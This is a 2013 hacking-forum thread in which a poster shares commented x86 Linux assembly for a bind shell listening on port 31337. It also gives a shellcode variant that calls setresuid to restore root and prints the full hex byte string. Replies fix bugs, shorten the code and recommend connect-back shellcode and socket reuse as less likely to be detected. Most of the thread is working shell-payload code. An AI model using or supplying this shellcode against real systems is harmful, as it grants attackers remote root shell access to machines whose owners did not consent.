Author Topic: [ASM] Linux x86 bind bash (intel)  (Read 2427 times)

0 Members and 1 Guest are viewing this topic.

Offline RedBullAddicted

  • VIP
  • Sir
  • *
  • Posts: 519
  • Cookies: 189
    • View Profile
[ASM] Linux x86 bind bash (intel)
« on: December 01, 2013, 02:11:38 pm »
Thanks to Factionwars and the ASM lessons he gave me I was finally able to write the following code. I know it is not perfect and I basically did it to have a reference code that contains all informations one needs to understand it. I am sure this could be done much better :P Don't bash on me cause these are my first steps with asm.. lol. Next step would be to include a setresuid syscall and turn it into actual shellcode.

Code: (asm) [Select]
BITS 32

; int socketcall(int call, unsigned long *args); -> No. 102 (0x66)

; from /usr/include/linux/net.h
; #define SYS_SOCKET 1 /* sys_socket(2) */
; #define SYS_BIND 2 /* sys_bind(2) */
; #define SYS_CONNECT 3 /* sys_connect(2) */
; #define SYS_LISTEN 4 /* sys_listen(2) */
; #define SYS_ACCEPT 5 /* sys_accept(2) */
; #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
; #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
; #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
; #define SYS_SEND 9 /* sys_send(2) */
; #define SYS_RECV 10 /* sys_recv(2) */
; #define SYS_SENDTO 11 /* sys_sendto(2) */
; #define SYS_RECVFROM 12 /* sys_recvfrom(2) */
; #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
; #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
; #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
; #define SYS_SENDMSG 16 /* sys_sendmsg(2) */
; #define SYS_RECVMSG 17 /* sys_recvmsg(2) */

section .data:
    bashstring: db "/bin/bash", 0x00        ; path to the programm we want to execute

section .text:
    global _start

_start:
    ; create a socket file descriptor --------------------------------------------------
    ; int socket(int domain, int type, int protocol);
    ; from /usr/include/i386-linux-gnu/bits/socket.h
    ; #define PF_INET     2   /* IP protocol family.  */
    ; SOCK_STREAM = 1,        /* Sequenced, reliable, connection-based byte streams.  */
    ; s = socket (1)(PF_INET (2), SOCK_STREAM (1), 0)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x01            ; 1 = SYS_SOCKET = socket()

    ; build the argument array on the stack
    push BYTE 0x00            ; int protocol = 0
    push BYTE 0x01            ; int type = SOCK_STREAM (1)
    push BYTE 0x02            ; int domain = PF_INET (2)
    mov ecx, esp            ; pointer to argument array

    int 0x80                ; Kernel interrupt, socket file descriptor will be in eax
    mov esi, eax            ; save the socket fd in esi for later use

    ; bind the socket to port 31337 ---------------------------------------------------
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; bind=2(sockfd=esi, (AF_INET=2, PORT = 31337, INADDR_ANY = 0), size of struct)
    ; from /usr/include/netinet/in.h -> #define INADDR_ANY      ((in_addr_t) 0x00000000)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x02            ; 2 = SYS_BIND = bind()

    ; build sockaddr struct on the stack
    push BYTE 0x00            ; INADDR_ANY = 0
    push WORD 0x697a        ; PORT = 31337
    push WORD 0x0002        ; AF_INET = 2
    mov ecx, esp            ; pointer to sockaddr struct

    ; build the bind() arguments
    push BYTE 0x10            ; sizeof(sockaddr struct) = 16 -> why?
    push ecx                ; sockaddr struct pointer
    push esi                ; socket file descriptor
    mov ecx, esp            ; pointer to argument array
    int 0x80                ; Kernal interrupt. eax will hold 0 on success

    ; set the socket into listen mode -----------------------------------------------
    ; int listen(int sockfd, int backlog);
    ; listen=4(sockfd=esi, backlog=4)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x04            ; 4 = SYS_LISTEN = listen()

    ; build the Listen() arguments on the stack
    push ebx                ; backlog = 4
    push esi                ; socket file descriptor
    mov ecx, esp            ; pointer to argument array
    int 0x80                ; kernel interrupt

    ; tell the socket to accept connections ----------------------------------------
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; accept=5(sockfd=esi, sockaddr pointer = NULL, socklen = 0)

    mov eax, 0x66            ; linux syscall socketcall
    mov ebx, 0x05            ; 5 = SYS_ACCEPT = accept()

    ; build the accept() arguments on the stack
    xor edx, edx            ; zero out edx
    push edx                ; socklen = 0
    push edx                ; sockaddr pointer = 0
    push esi                ; socket file descriptor
    mov ecx, esp            ; pointer to argument array
    int 0x80                ; kernel interrupt. eax will hold the connected socket file descriptor

    ; duplicate stdin, stdout, stderr ---------------------------------------------
    ; dup2 is syscall 63 int dup2(int oldfd, int newfd);
    ; dub2=63(connected socket fd=eax, (0=stdin, 1=stdout, 2=stderr))

    ; duplicate stdin to connected socket file descriptor
    mov ebx, eax            ; save the connected socket file descriptor into ebx
    mov eax, 0x3f            ; linux syscall dup2
    mov ecx, 0x00            ; duplicate stdin
    int 0x80                ; kernel interrrupt

    ; duplicate stdout to connected socket file descriptor
    mov eax, 0x3f            ; linux syscall dup2
    inc ecx                    ; duplicate stdout, ebx still holds the socket fd
    int 0x80                ; kernel interrrupt

    ; duplicate stderr to connected socket file descriptor
    mov eax, 0x3f            ; linux syscall dup2
    inc ecx                    ; duplicate stderr, ebx still holds the socket fd
    int 0x80                ; kernel interrupt

    ; Execute /bin/bash ----------------------------------------------------------
    ; execve is syscall 11 execve(const char *filename, char *const argv [], char *const envp[])
    ; execve=11(bashstring, 0, 0)

    mov eax, 0x0b            ; linux syscall execve
    mov ebx, bashstring        ; pointer to the programm that should get executed
    xor ecx, ecx            ; zero out ecx
    push ecx                ; push ecx to the stack
    mov ecx, esp            ; pointer for argv
    mov edx, esp            ; pointer for envp
    int 0x80                ; kernel interrupt

If you have any questions regarding this just ask and I will try to answer them.

EDIT: Ok, I made some shellcode out of it (and included the setresuid syscall) using the knowledge I already have about it (nearly 0.. lol). I haven't used any shellcoding tricks to make it shorter. Tbh.. I don't really know if this is working.. lol

Code: (asm) [Select]
BITS 32

; create socket file descriptor
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x01            ; 1 = socket()
xor edx, edx            ; zero out edx
push edx                ; int protocol = 0
push BYTE 0x01            ; int type = SOCK_STREAM (1)
push BYTE 0x02            ; int domain = PF_INET (2)
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrrupt
mov esi, eax            ; save socket file descriptor

; bind the socket to port 31337
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x02            ; 2 = bind()
push edx                ; 0 = INADDR_ANY
push WORD 0x697a        ; 31337 = PORT
push WORD bx            ; 2 = AF_INET
mov ecx, esp            ; pointer to sockaddr struct
push BYTE 0x10            ; sizeof(sockaddr struct) = 16
push ecx                ; sockaddr struct pointer
push esi                ; socket file descriptor
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrupt

; set the socket into listen mode
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x04            ; 4 = listen()
push ebx                ; backlog = 4
push esi                ; socket file descriptor
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrupt

; tell the socket to accept connections
mov al, 0x66            ; linux syscall socketcall
mov bl, 0x05            ; 5 = accept()
push edx                ; socklen = 0
push edx                ; sockaddr pointer = 0
push esi                ; socket file descriptor
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrupt, eax holds the connected socket file descriptor

; duplicate stdin, stdout, stderr
mov ebx, eax            ; save connected socket file descriptor to ebx
mov al, 0x3f            ; linux syscall dup2
mov ecx, edx            ; 0 = stdin
int 0x80                ; kernel interrupt
mov al, 0x3f            ; linux syscall dup2
mov cl, 0x01            ; 1 = stdout
int 0x80                ; kernel interrupt
mov al, 0x3f            ; linux syscall dup2
mov cl, 0x02            ; 2 = stderr

; restore privs int setresuid(uid_t ruid, uid_t euid, uid_t suid);
mov al, 0xa4            ; linux syscall setresuid
xor ebx, ebx            ; real user id = 0 (root)
xor ecx, ecx            ; effective user id = 0 (root)
xor edx, edx            ; set user id = 0 (root)
int 0x80                ; kernel interrupt

; start a bash
xor eax, eax            ; zero out eax
push eax                ; null terminator for /bin/bash, 0x00
push 0x68736162         ; string bash
push 0x2f2f2f2f         ; string ////
push 0x6e69622f         ; string /bin
mov ebx, esp            ; pointer to null terminated string
mov ecx, [esp+12]        ; pointer to null
mov edx, [esp+12]        ; pointer to null
mov al, 0x0b            ; linux syscall execve
int 0x80                ; kernel interrupt

the shellcode would be:

Code: [Select]
\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x53\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xb0\xa4\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x4c\x24\x0c\x8b\x54\x24\x0c\xb0\x0b\xcd\x80
I realized that I have a lot to learn here :P lets get it on.

cheers,
RBA
« Last Edit: December 01, 2013, 05:10:57 pm by RedBullAddicted »
Deep into that darkness peering, long I stood there, wondering, fearing, doubting, dreaming dreams no mortal ever dared to dream before. - Edgar Allan Poe

Offline chapp

  • Peasant
  • *
  • Posts: 87
  • Cookies: 2
    • View Profile
Re: [ASM] Linux x86 bind bash (intel)
« Reply #1 on: December 02, 2013, 06:20:02 pm »
Nice work considering your asm experience, although you make some mistakes in the shellcode most of it is alright. For one you do not know the value of EAX and EBX, but your code makes the assumption that they are both < 0x100 before your code starts executing.

Next step would be shortening the shellcode and consider a connectback and in the end reusing the same socket instead of creating a new. A bind shell would not be very interesting on a lot of networks and creating new connections are more likely to be discovered.


edit: spelling
« Last Edit: December 03, 2013, 08:07:52 pm by chapp »

Offline RedBullAddicted

  • VIP
  • Sir
  • *
  • Posts: 519
  • Cookies: 189
    • View Profile
Re: [ASM] Linux x86 bind bash (intel)
« Reply #2 on: December 03, 2013, 06:24:53 am »
Hi chapp,

thanks for your reply :) I learned some techniques to make it shorter but when I apply all of them it looks exactly like the sample from the "hacking: the art of exploitation" book :( Don't want to post that cause it would look like copy and paste. Reusing the same socket sounds like a great idea. Guess I will try that soon.

Cheers,
RBA
Deep into that darkness peering, long I stood there, wondering, fearing, doubting, dreaming dreams no mortal ever dared to dream before. - Edgar Allan Poe

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: [ASM] Linux x86 bind bash (intel)
« Reply #3 on: December 03, 2013, 09:53:13 am »
Yhea, reply on the first part:


Code: (asm) [Select]
create socket file descriptor
xor eax, eax
xor ebx, ebx
mov al, 0x66            ; linux syscall socketcall
push edx                ; int protocol = 0
inc ebx            ; 1 = socket()
push ebx           ; int type = SOCK_STREAM (1)
push BYTE 0x02            ; int domain = PF_INET (2)
mov ecx, esp            ; pointer to argument array
int 0x80                ; kernel interrrupt
mov esi, eax            ; save socket file descriptor
~Factionwars

Offline chapp

  • Peasant
  • *
  • Posts: 87
  • Cookies: 2
    • View Profile
Re: [ASM] Linux x86 bind bash (intel)
« Reply #4 on: December 03, 2013, 08:18:35 pm »
Hi chapp,

thanks for your reply :) I learned some techniques to make it shorter but when I apply all of them it looks exactly like the sample from the "hacking: the art of exploitation" book :( Don't want to post that cause it would look like copy and paste. Reusing the same socket sounds like a great idea. Guess I will try that soon.

Cheers,
RBA
Being blinded by a solution is a thing I'm experiencing some times as well. You could start by writing a connect back instead of bind shell, which is way more usable than bind shellcode.


@Factionwars your line 5 is probably a mistake and should be ebx instead of edx.